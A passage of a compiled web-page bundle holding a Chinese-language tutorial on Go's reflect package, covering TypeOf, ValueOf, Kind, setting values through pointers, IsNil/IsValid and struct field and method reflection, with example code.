\u53cd\u5c04\u5c31\u662f\u5728\u8fd0\u884c\u65f6\u52a8\u6001\u7684\u83b7\u53d6\u4e00\u4e2a\u53d8\u91cf\u7684\u7c7b\u578b\u4fe1\u606f\u548c\u503c\u4fe1\u606f\u3002"}),"\n",(0,i.jsx)(n.h2,{id:"reflect\u5305",children:"reflect\u5305"}),"\n",(0,i.jsxs)(n.p,{children:["\u5728Go\u8bed\u8a00\u7684\u53cd\u5c04\u673a\u5236\u4e2d\uff0c\u4efb\u4f55\u63a5\u53e3\u503c\u90fd\u7531\u662f",(0,i.jsx)(n.code,{children:"\u4e00\u4e2a\u5177\u4f53\u7c7b\u578b"}),"\u548c",(0,i.jsx)(n.code,{children:"\u5177\u4f53\u7c7b\u578b\u7684\u503c"}),"\u4e24\u90e8\u5206\u7ec4\u6210\u7684(\u6211\u4eec\u5728\u4e0a\u4e00\u7bc7\u63a5\u53e3\u7684\u535a\u5ba2\u4e2d\u6709\u4ecb\u7ecd\u76f8\u5173\u6982\u5ff5)\u3002 \u5728Go\u8bed\u8a00\u4e2d\u53cd\u5c04\u7684\u76f8\u5173\u529f\u80fd\u7531\u5185\u7f6e\u7684reflect\u5305\u63d0\u4f9b\uff0c\u4efb\u610f\u63a5\u53e3\u503c\u5728\u53cd\u5c04\u4e2d\u90fd\u53ef\u4ee5\u7406\u89e3\u4e3a\u7531",(0,i.jsx)(n.code,{children:"reflect.Type"}),"\u548c",(0,i.jsx)(n.code,{children:"reflect.Value"}),"\u4e24\u90e8\u5206\u7ec4\u6210\uff0c\u5e76\u4e14reflect\u5305\u63d0\u4f9b\u4e86",(0,i.jsx)(n.code,{children:"reflect.TypeOf"}),"\u548c",(0,i.jsx)(n.code,{children:"reflect.ValueOf"}),"\u4e24\u4e2a\u51fd\u6570\u6765\u83b7\u53d6\u4efb\u610f\u5bf9\u8c61\u7684Value\u548cType\u3002"]}),"\n",(0,i.jsx)(n.h3,{id:"typeof",children:"TypeOf"}),"\n",(0,i.jsxs)(n.p,{children:["\u5728Go\u8bed\u8a00\u4e2d\uff0c\u4f7f\u7528",(0,i.jsx)(n.code,{children:"reflect.TypeOf()"}),"\u51fd\u6570\u53ef\u4ee5\u83b7\u5f97\u4efb\u610f\u503c\u7684\u7c7b\u578b\u5bf9\u8c61\uff08reflect.Type\uff09\uff0c\u7a0b\u5e8f\u901a\u8fc7\u7c7b\u578b\u5bf9\u8c61\u53ef\u4ee5\u8bbf\u95ee\u4efb\u610f\u503c\u7684\u7c7b\u578b\u4fe1\u606f\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"reflect"\n)\n\nfunc reflectType(x interface{}) {\n\tv := reflect.TypeOf(x)\n\tfmt.Printf("type:%v\\n", v)\n}\nfunc main() {\n\tvar a float32 = 3.14\n\treflectType(a) // type:float32\n\tvar b int64 = 100\n\treflectType(b) // type:int64\n}\n'})}),"\n",(0,i.jsx)(n.h4,{id:"type-name\u548ctype-kind",children:"type name\u548ctype kind"}),"\n",(0,i.jsxs)(n.p,{children:["\u5728\u53cd\u5c04\u4e2d\u5173\u4e8e\u7c7b\u578b\u8fd8\u5212\u5206\u4e3a\u4e24\u79cd\uff1a",(0,i.jsx)(n.code,{children:"\u7c7b\u578b\uff08Type\uff09"}),"\u548c",(0,i.jsx)(n.code,{children:"\u79cd\u7c7b\uff08Kind\uff09"}),"\u3002\u56e0\u4e3a\u5728Go\u8bed\u8a00\u4e2d\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528type\u5173\u952e\u5b57\u6784\u9020\u5f88\u591a\u81ea\u5b9a\u4e49\u7c7b\u578b\uff0c\u800c",(0,i.jsx)(n.code,{children:"\u79cd\u7c7b\uff08Kind\uff09"}),"\u5c31\u662f\u6307\u5e95\u5c42\u7684\u7c7b\u578b\uff0c\u4f46\u5728\u53cd\u5c04\u4e2d\uff0c\u5f53\u9700\u8981\u533a\u5206\u6307\u9488\u3001\u7ed3\u6784\u4f53\u7b49\u5927\u54c1\u79cd\u7684\u7c7b\u578b\u65f6\uff0c\u5c31\u4f1a\u7528\u5230",(0,i.jsx)(n.code,{children:"\u79cd\u7c7b\uff08Kind\uff09"}),"\u3002 \u4e3e\u4e2a\u4f8b\u5b50\uff0c\u6211\u4eec\u5b9a\u4e49\u4e86\u4e24\u4e2a\u6307\u9488\u7c7b\u578b\u548c\u4e24\u4e2a\u7ed3\u6784\u4f53\u7c7b\u578b\uff0c\u901a\u8fc7\u53cd\u5c04\u67e5\u770b\u5b83\u4eec\u7684\u7c7b\u578b\u548c\u79cd\u7c7b\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"reflect"\n)\n\ntype myInt int64\n\nfunc reflectType(x interface{}) {\n\tt := reflect.TypeOf(x)\n\tfmt.Printf("type:%v kind:%v\\n", t.Name(), t.Kind())\n}\n\nfunc main() {\n\tvar a *float32 // \u6307\u9488\n\tvar b myInt // \u81ea\u5b9a\u4e49\u7c7b\u578b\n\tvar c rune // \u7c7b\u578b\u522b\u540d\n\treflectType(a) // type: kind:ptr\n\treflectType(b) // type:myInt kind:int64\n\treflectType(c) // type:int32 kind:int32\n\n\ttype person struct {\n\t\tname string\n\t\tage int\n\t}\n\ttype book struct{ title string }\n\tvar d = person{\n\t\tname: "\u6c99\u6cb3\u5c0f\u738b\u5b50",\n\t\tage: 18,\n\t}\n\tvar e = book{title: "\u300a\u8ddf\u5c0f\u738b\u5b50\u5b66Go\u8bed\u8a00\u300b"}\n\treflectType(d) // type:person kind:struct\n\treflectType(e) // type:book kind:struct\n}\n'})}),"\n",(0,i.jsxs)(n.p,{children:["Go\u8bed\u8a00\u7684\u53cd\u5c04\u4e2d\u50cf\u6570\u7ec4\u3001\u5207\u7247\u3001Map\u3001\u6307\u9488\u7b49\u7c7b\u578b\u7684\u53d8\u91cf\uff0c\u5b83\u4eec\u7684",(0,i.jsx)(n.code,{children:".Name()"}),"\u90fd\u662f\u8fd4\u56de",(0,i.jsx)(n.code,{children:"\u7a7a"}),"\u3002"]}),"\n",(0,i.jsxs)(n.p,{children:["\u5728",(0,i.jsx)(n.code,{children:"reflect"}),"\u5305\u4e2d\u5b9a\u4e49\u7684Kind\u7c7b\u578b\u5982\u4e0b\uff1a"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:"type Kind uint\nconst (\n Invalid Kind = iota // \u975e\u6cd5\u7c7b\u578b\n Bool // \u5e03\u5c14\u578b\n Int // \u6709\u7b26\u53f7\u6574\u578b\n Int8 // \u6709\u7b26\u53f78\u4f4d\u6574\u578b\n Int16 // \u6709\u7b26\u53f716\u4f4d\u6574\u578b\n Int32 // \u6709\u7b26\u53f732\u4f4d\u6574\u578b\n Int64 // \u6709\u7b26\u53f764\u4f4d\u6574\u578b\n Uint // \u65e0\u7b26\u53f7\u6574\u578b\n Uint8 // \u65e0\u7b26\u53f78\u4f4d\u6574\u578b\n Uint16 // \u65e0\u7b26\u53f716\u4f4d\u6574\u578b\n Uint32 // \u65e0\u7b26\u53f732\u4f4d\u6574\u578b\n Uint64 // \u65e0\u7b26\u53f764\u4f4d\u6574\u578b\n Uintptr // \u6307\u9488\n Float32 // \u5355\u7cbe\u5ea6\u6d6e\u70b9\u6570\n Float64 // \u53cc\u7cbe\u5ea6\u6d6e\u70b9\u6570\n Complex64 // 64\u4f4d\u590d\u6570\u7c7b\u578b\n Complex128 // 128\u4f4d\u590d\u6570\u7c7b\u578b\n Array // \u6570\u7ec4\n Chan // \u901a\u9053\n Func // \u51fd\u6570\n Interface // \u63a5\u53e3\n Map // \u6620\u5c04\n Ptr // \u6307\u9488\n Slice // \u5207\u7247\n String // \u5b57\u7b26\u4e32\n Struct // \u7ed3\u6784\u4f53\n UnsafePointer // \u5e95\u5c42\u6307\u9488\n)\n"})}),"\n",(0,i.jsx)(n.h3,{id:"valueof",children:"ValueOf"}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.code,{children:"reflect.ValueOf()"}),"\u8fd4\u56de\u7684\u662f",(0,i.jsx)(n.code,{children:"reflect.Value"}),"\u7c7b\u578b\uff0c\u5176\u4e2d\u5305\u542b\u4e86\u539f\u59cb\u503c\u7684\u503c\u4fe1\u606f\u3002",(0,i.jsx)(n.code,{children:"reflect.Value"}),"\u4e0e\u539f\u59cb\u503c\u4e4b\u95f4\u53ef\u4ee5\u4e92\u76f8\u8f6c\u6362\u3002"]}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.code,{children:"reflect.Value"}),"\u7c7b\u578b\u63d0\u4f9b\u7684\u83b7\u53d6\u539f\u59cb\u503c\u7684\u65b9\u6cd5\u5982\u4e0b\uff1a"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(n.table,{children:[(0,i.jsx)(n.thead,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.th,{style:{textAlign:"center"},children:"\u65b9\u6cd5"}),(0,i.jsx)(n.th,{style:{textAlign:"center"},children:"\u8bf4\u660e"})]})}),(0,i.jsxs)(n.tbody,{children:[(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"Interface() interface {}"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u5c06\u503c\u4ee5 interface{} \u7c7b\u578b\u8fd4\u56de\uff0c\u53ef\u4ee5\u901a\u8fc7\u7c7b\u578b\u65ad\u8a00\u8f6c\u6362\u4e3a\u6307\u5b9a\u7c7b\u578b"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"Int() int64"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u5c06\u503c\u4ee5 int \u7c7b\u578b\u8fd4\u56de\uff0c\u6240\u6709\u6709\u7b26\u53f7\u6574\u578b\u5747\u53ef\u4ee5\u6b64\u65b9\u5f0f\u8fd4\u56de"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"Uint() uint64"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u5c06\u503c\u4ee5 uint \u7c7b\u578b\u8fd4\u56de\uff0c\u6240\u6709\u65e0\u7b26\u53f7\u6574\u578b\u5747\u53ef\u4ee5\u6b64\u65b9\u5f0f\u8fd4\u56de"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"Float() float64"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u5c06\u503c\u4ee5\u53cc\u7cbe\u5ea6\uff08float64\uff09\u7c7b\u578b\u8fd4\u56de\uff0c\u6240\u6709\u6d6e\u70b9\u6570\uff08float32\u3001float64\uff09\u5747\u53ef\u4ee5\u6b64\u65b9\u5f0f\u8fd4\u56de"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"Bool() bool"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u5c06\u503c\u4ee5 bool \u7c7b\u578b\u8fd4\u56de"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"Bytes() []bytes"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u5c06\u503c\u4ee5\u5b57\u8282\u6570\u7ec4 []bytes \u7c7b\u578b\u8fd4\u56de"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"String() string"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u5c06\u503c\u4ee5\u5b57\u7b26\u4e32\u7c7b\u578b\u8fd4\u56de"})]})]})]}),"\n",(0,i.jsx)(n.h4,{id:"\u901a\u8fc7\u53cd\u5c04\u83b7\u53d6\u503c",children:"\u901a\u8fc7\u53cd\u5c04\u83b7\u53d6\u503c"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'func reflectValue(x interface{}) {\n\tv := reflect.ValueOf(x)\n\tk := v.Kind()\n\tswitch k {\n\tcase reflect.Int64:\n\t\t// v.Int()\u4ece\u53cd\u5c04\u4e2d\u83b7\u53d6\u6574\u578b\u7684\u539f\u59cb\u503c\uff0c\u7136\u540e\u901a\u8fc7int64()\u5f3a\u5236\u7c7b\u578b\u8f6c\u6362\n\t\tfmt.Printf("type is int64, value is %d\\n", int64(v.Int()))\n\tcase reflect.Float32:\n\t\t// v.Float()\u4ece\u53cd\u5c04\u4e2d\u83b7\u53d6\u6d6e\u70b9\u578b\u7684\u539f\u59cb\u503c\uff0c\u7136\u540e\u901a\u8fc7float32()\u5f3a\u5236\u7c7b\u578b\u8f6c\u6362\n\t\tfmt.Printf("type is float32, value is %f\\n", float32(v.Float()))\n\tcase reflect.Float64:\n\t\t// v.Float()\u4ece\u53cd\u5c04\u4e2d\u83b7\u53d6\u6d6e\u70b9\u578b\u7684\u539f\u59cb\u503c\uff0c\u7136\u540e\u901a\u8fc7float64()\u5f3a\u5236\u7c7b\u578b\u8f6c\u6362\n\t\tfmt.Printf("type is float64, value is %f\\n", float64(v.Float()))\n\t}\n}\nfunc main() {\n\tvar a float32 = 3.14\n\tvar b int64 = 100\n\treflectValue(a) // type is float32, value is 3.140000\n\treflectValue(b) // type is int64, value is 100\n\t// \u5c06int\u7c7b\u578b\u7684\u539f\u59cb\u503c\u8f6c\u6362\u4e3areflect.Value\u7c7b\u578b\n\tc := reflect.ValueOf(10)\n\tfmt.Printf("type c :%T\\n", c) // type c :reflect.Value\n}\n'})}),"\n",(0,i.jsx)(n.h4,{id:"\u901a\u8fc7\u53cd\u5c04\u8bbe\u7f6e\u53d8\u91cf\u7684\u503c",children:"\u901a\u8fc7\u53cd\u5c04\u8bbe\u7f6e\u53d8\u91cf\u7684\u503c"}),"\n",(0,i.jsxs)(n.p,{children:["\u60f3\u8981\u5728\u51fd\u6570\u4e2d\u901a\u8fc7\u53cd\u5c04\u4fee\u6539\u53d8\u91cf\u7684\u503c\uff0c\u9700\u8981\u6ce8\u610f\u51fd\u6570\u53c2\u6570\u4f20\u9012\u7684\u662f\u503c\u62f7\u8d1d\uff0c\u5fc5\u987b\u4f20\u9012\u53d8\u91cf\u5730\u5740\u624d\u80fd\u4fee\u6539\u53d8\u91cf\u503c\u3002\u800c\u53cd\u5c04\u4e2d\u4f7f\u7528\u4e13\u6709\u7684",(0,i.jsx)(n.code,{children:"Elem()"}),"\u65b9\u6cd5\u6765\u83b7\u53d6\u6307\u9488\u5bf9\u5e94\u7684\u503c\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"reflect"\n)\n\nfunc reflectSetValue1(x interface{}) {\n\tv := reflect.ValueOf(x)\n\tif v.Kind() == reflect.Int64 {\n\t\tv.SetInt(200) //\u4fee\u6539\u7684\u662f\u526f\u672c\uff0creflect\u5305\u4f1a\u5f15\u53d1panic\n\t}\n}\nfunc reflectSetValue2(x interface{}) {\n\tv := reflect.ValueOf(x)\n\t// \u53cd\u5c04\u4e2d\u4f7f\u7528 Elem()\u65b9\u6cd5\u83b7\u53d6\u6307\u9488\u5bf9\u5e94\u7684\u503c\n\tif v.Elem().Kind() == reflect.Int64 {\n\t\tv.Elem().SetInt(200)\n\t}\n}\nfunc main() {\n\tvar a int64 = 100\n\t// reflectSetValue1(a) //panic: reflect: reflect.Value.SetInt using unaddressable value\n\treflectSetValue2(&a)\n\tfmt.Println(a)\n}\n'})}),"\n",(0,i.jsx)(n.h4,{id:"isnil\u548cisvalid",children:"isNil()\u548cisValid()"}),"\n",(0,i.jsx)(n.h5,{id:"isnil",children:"isNil()"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:"func (v Value) IsNil() bool\n"})}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.code,{children:"IsNil()"}),"\u62a5\u544av\u6301\u6709\u7684\u503c\u662f\u5426\u4e3anil\u3002v\u6301\u6709\u7684\u503c\u7684\u5206\u7c7b\u5fc5\u987b\u662f\u901a\u9053\u3001\u51fd\u6570\u3001\u63a5\u53e3\u3001\u6620\u5c04\u3001\u6307\u9488\u3001\u5207\u7247\u4e4b\u4e00\uff1b\u5426\u5219IsNil\u51fd\u6570\u4f1a\u5bfc\u81f4panic\u3002"]}),"\n",(0,i.jsx)(n.h5,{id:"isvalid",children:"isValid()"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:"func (v Value) IsValid() bool\n"})}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.code,{children:"IsValid()"}),"\u8fd4\u56dev\u662f\u5426\u6301\u6709\u4e00\u4e2a\u503c\u3002\u5982\u679cv\u662fValue\u96f6\u503c\u4f1a\u8fd4\u56de\u5047\uff0c\u6b64\u65f6v\u9664\u4e86IsValid\u3001String\u3001Kind\u4e4b\u5916\u7684\u65b9\u6cd5\u90fd\u4f1a\u5bfc\u81f4panic\u3002"]}),"\n",(0,i.jsx)(n.h5,{id:"\u4e3e\u4e2a\u4f8b\u5b50",children:"\u4e3e\u4e2a\u4f8b\u5b50"}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.code,{children:"IsNil()"}),"\u5e38\u88ab\u7528\u4e8e\u5224\u65ad\u6307\u9488\u662f\u5426\u4e3a\u7a7a\uff1b",(0,i.jsx)(n.code,{children:"IsValid()"}),"\u5e38\u88ab\u7528\u4e8e\u5224\u5b9a\u8fd4\u56de\u503c\u662f\u5426\u6709\u6548\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'func main() {\n\t// *int\u7c7b\u578b\u7a7a\u6307\u9488\n\tvar a *int\n\tfmt.Println("var a *int IsNil:", reflect.ValueOf(a).IsNil())\n\t// nil\u503c\n\tfmt.Println("nil IsValid:", reflect.ValueOf(nil).IsValid())\n\t// \u5b9e\u4f8b\u5316\u4e00\u4e2a\u533f\u540d\u7ed3\u6784\u4f53\n\tb := struct{}{}\n\t// \u5c1d\u8bd5\u4ece\u7ed3\u6784\u4f53\u4e2d\u67e5\u627e"abc"\u5b57\u6bb5\n\tfmt.Println("\u4e0d\u5b58\u5728\u7684\u7ed3\u6784\u4f53\u6210\u5458:", reflect.ValueOf(b).FieldByName("abc").IsValid())\n\t// \u5c1d\u8bd5\u4ece\u7ed3\u6784\u4f53\u4e2d\u67e5\u627e"abc"\u65b9\u6cd5\n\tfmt.Println("\u4e0d\u5b58\u5728\u7684\u7ed3\u6784\u4f53\u65b9\u6cd5:", reflect.ValueOf(b).MethodByName("abc").IsValid())\n\t// map\n\tc := map[string]int{}\n\t// \u5c1d\u8bd5\u4ecemap\u4e2d\u67e5\u627e\u4e00\u4e2a\u4e0d\u5b58\u5728\u7684\u952e\n\tfmt.Println("map\u4e2d\u4e0d\u5b58\u5728\u7684\u952e\uff1a", reflect.ValueOf(c).MapIndex(reflect.ValueOf("\u5a1c\u624e")).IsValid())\n}\n'})}),"\n",(0,i.jsx)(n.h2,{id:"\u7ed3\u6784\u4f53\u53cd\u5c04",children:"\u7ed3\u6784\u4f53\u53cd\u5c04"}),"\n",(0,i.jsx)(n.h3,{id:"\u4e0e\u7ed3\u6784\u4f53\u76f8\u5173\u7684\u65b9\u6cd5",children:"\u4e0e\u7ed3\u6784\u4f53\u76f8\u5173\u7684\u65b9\u6cd5"}),"\n",(0,i.jsxs)(n.p,{children:["\u4efb\u610f\u503c\u901a\u8fc7",(0,i.jsx)(n.code,{children:"reflect.TypeOf()"}),"\u83b7\u5f97\u53cd\u5c04\u5bf9\u8c61\u4fe1\u606f\u540e\uff0c\u5982\u679c\u5b83\u7684\u7c7b\u578b\u662f\u7ed3\u6784\u4f53\uff0c\u53ef\u4ee5\u901a\u8fc7\u53cd\u5c04\u503c\u5bf9\u8c61\uff08",(0,i.jsx)(n.code,{children:"reflect.Type"}),"\uff09\u7684",(0,i.jsx)(n.code,{children:"NumField()"}),"\u548c",(0,i.jsx)(n.code,{children:"Field()"}),"\u65b9\u6cd5\u83b7\u5f97\u7ed3\u6784\u4f53\u6210\u5458\u7684\u8be6\u7ec6\u4fe1\u606f\u3002"]}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.code,{children:"reflect.Type"}),"\u4e2d\u4e0e\u83b7\u53d6\u7ed3\u6784\u4f53\u6210\u5458\u76f8\u5173\u7684\u7684\u65b9\u6cd5\u5982\u4e0b\u8868\u6240\u793a\u3002"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(n.table,{children:[(0,i.jsx)(n.thead,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.th,{style:{textAlign:"center"},children:"\u65b9\u6cd5"}),(0,i.jsx)(n.th,{style:{textAlign:"center"},children:"\u8bf4\u660e"})]})}),(0,i.jsxs)(n.tbody,{children:[(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"Field(i int) StructField"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u6839\u636e\u7d22\u5f15\uff0c\u8fd4\u56de\u7d22\u5f15\u5bf9\u5e94\u7684\u7ed3\u6784\u4f53\u5b57\u6bb5\u7684\u4fe1\u606f\u3002"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"NumField() int"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u8fd4\u56de\u7ed3\u6784\u4f53\u6210\u5458\u5b57\u6bb5\u6570\u91cf\u3002"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"FieldByName(name string) (StructField, bool)"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u6839\u636e\u7ed9\u5b9a\u5b57\u7b26\u4e32\u8fd4\u56de\u5b57\u7b26\u4e32\u5bf9\u5e94\u7684\u7ed3\u6784\u4f53\u5b57\u6bb5\u7684\u4fe1\u606f\u3002"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"FieldByIndex(index []int) StructField"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u591a\u5c42\u6210\u5458\u8bbf\u95ee\u65f6\uff0c\u6839\u636e []int \u63d0\u4f9b\u7684\u6bcf\u4e2a\u7ed3\u6784\u4f53\u7684\u5b57\u6bb5\u7d22\u5f15\uff0c\u8fd4\u56de\u5b57\u6bb5\u7684\u4fe1\u606f\u3002"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"FieldByNameFunc(match func(string) bool) (StructField,bool)"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u6839\u636e\u4f20\u5165\u7684\u5339\u914d\u51fd\u6570\u5339\u914d\u9700\u8981\u7684\u5b57\u6bb5\u3002"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"NumMethod() int"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u8fd4\u56de\u8be5\u7c7b\u578b\u7684\u65b9\u6cd5\u96c6\u4e2d\u65b9\u6cd5\u7684\u6570\u76ee"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"Method(int) Method"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u8fd4\u56de\u8be5\u7c7b\u578b\u65b9\u6cd5\u96c6\u4e2d\u7684\u7b2ci\u4e2a\u65b9\u6cd5"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"MethodByName(string)(Method, bool)"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u6839\u636e\u65b9\u6cd5\u540d\u8fd4\u56de\u8be5\u7c7b\u578b\u65b9\u6cd5\u96c6\u4e2d\u7684\u65b9\u6cd5"})]})]})]}),"\n",(0,i.jsx)(n.h3,{id:"structfield\u7c7b\u578b",children:"StructField\u7c7b\u578b"}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.code,{children:"StructField"}),"\u7c7b\u578b\u7528\u6765\u63cf\u8ff0\u7ed3\u6784\u4f53\u4e2d\u7684\u4e00\u4e2a\u5b57\u6bb5\u7684\u4fe1\u606f\u3002"]}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.code,{children:"StructField"}),"\u7684\u5b9a\u4e49\u5982\u4e0b\uff1a"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'type StructField struct {\n // Name\u662f\u5b57\u6bb5\u7684\u540d\u5b57\u3002PkgPath\u662f\u975e\u5bfc\u51fa\u5b57\u6bb5\u7684\u5305\u8def\u5f84\uff0c\u5bf9\u5bfc\u51fa\u5b57\u6bb5\u8be5\u5b57\u6bb5\u4e3a""\u3002\n // \u53c2\u89c1http://golang.org/ref/spec#Uniqueness_of_identifiers\n Name string\n PkgPath string\n Type Type // \u5b57\u6bb5\u7684\u7c7b\u578b\n Tag StructTag // \u5b57\u6bb5\u7684\u6807\u7b7e\n Offset uintptr // \u5b57\u6bb5\u5728\u7ed3\u6784\u4f53\u4e2d\u7684\u5b57\u8282\u504f\u79fb\u91cf\n Index []int // \u7528\u4e8eType.FieldByIndex\u65f6\u7684\u7d22\u5f15\u5207\u7247\n Anonymous bool // \u662f\u5426\u533f\u540d\u5b57\u6bb5\n}\n'})}),"\n",(0,i.jsx)(n.h3,{id:"\u7ed3\u6784\u4f53\u53cd\u5c04\u793a\u4f8b",children:"\u7ed3\u6784\u4f53\u53cd\u5c04\u793a\u4f8b"}),"\n",(0,i.jsx)(n.p,{children:"\u5f53\u6211\u4eec\u4f7f\u7528\u53cd\u5c04\u5f97\u5230\u4e00\u4e2a\u7ed3\u6784\u4f53\u6570\u636e\u4e4b\u540e\u53ef\u4ee5\u901a\u8fc7\u7d22\u5f15\u4f9d\u6b21\u83b7\u53d6\u5176\u5b57\u6bb5\u4fe1\u606f\uff0c\u4e5f\u53ef\u4ee5\u901a\u8fc7\u5b57\u6bb5\u540d\u53bb\u83b7\u53d6\u6307\u5b9a\u7684\u5b57\u6bb5\u4fe1\u606f\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'type student struct {\n\tName string `json:"name"`\n\tScore int `json:"score"`\n}\n\nfunc main() {\n\tstu1 := student{\n\t\tName: "\u5c0f\u738b\u5b50",\n\t\tScore: 90,\n\t}\n\n\tt := reflect.TypeOf(stu1)\n\tfmt.Println(t.Name(), t.Kind()) // student struct\n\t// \u901a\u8fc7for\u5faa\u73af\u904d\u5386\u7ed3\u6784\u4f53\u7684\u6240\u6709\u5b57\u6bb5\u4fe1\u606f\n\tfor i := 0; i < t.NumField(); i++ {\n\t\tfield := t.Field(i)\n\t\tfmt.Printf("name:%s index:%d type:%v json tag:%v\\n", field.Name, field.Index, field.Type, field.Tag.Get("json"))\n\t}\n\n\t// \u901a\u8fc7\u5b57\u6bb5\u540d\u83b7\u53d6\u6307\u5b9a\u7ed3\u6784\u4f53\u5b57\u6bb5\u4fe1\u606f\n\tif scoreField, ok := t.FieldByName("Score"); ok {\n\t\tfmt.Printf("name:%s index:%d type:%v json tag:%v\\n", scoreField.Name, scoreField.Index, scoreField.Type, scoreField.Tag.Get("json"))\n\t}\n}\n'})}),"\n",(0,i.jsxs)(n.p,{children:["\u63a5\u4e0b\u6765\u7f16\u5199\u4e00\u4e2a\u51fd\u6570",(0,i.jsx)(n.code,{children:"printMethod(s interface{})"}),"\u6765\u904d\u5386\u6253\u5370s\u5305\u542b\u7684\u65b9\u6cd5\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'// \u7ed9student\u6dfb\u52a0\u4e24\u4e2a\u65b9\u6cd5 Study\u548cSleep(\u6ce8\u610f\u9996\u5b57\u6bcd\u5927\u5199)\nfunc (s student) Study() string {\n\tmsg := "\u597d\u597d\u5b66\u4e60\uff0c\u5929\u5929\u5411\u4e0a\u3002"\n\tfmt.Println(msg)\n\treturn msg\n}\n\nfunc (s student) Sleep() string {\n\tmsg := "\u597d\u597d\u7761\u89c9\uff0c\u5feb\u5feb\u957f\u5927\u3002"\n\tfmt.Println(msg)\n\treturn msg\n}\n\nfunc printMethod(x interface{}) {\n\tt := reflect.TypeOf(x)\n\tv := reflect.ValueOf(x)\n\n\tfmt.Println(t.NumMethod())\n\tfor i := 0; i < v.NumMethod(); i++ {\n\t\tmethodType := v.Method(i).Type()\n\t\tfmt.Printf("method name:%s\\n", t.Method(i).Name)\n\t\tfmt.Printf("method:%s\\n", methodType)\n\t\t// \u901a\u8fc7\u53cd\u5c04\u8c03\u7528\u65b9\u6cd5\u4f20\u9012\u7684\u53c2\u6570\u5fc5\u987b\u662f []reflect.Value \u7c7b\u578b\n\t\tvar args = 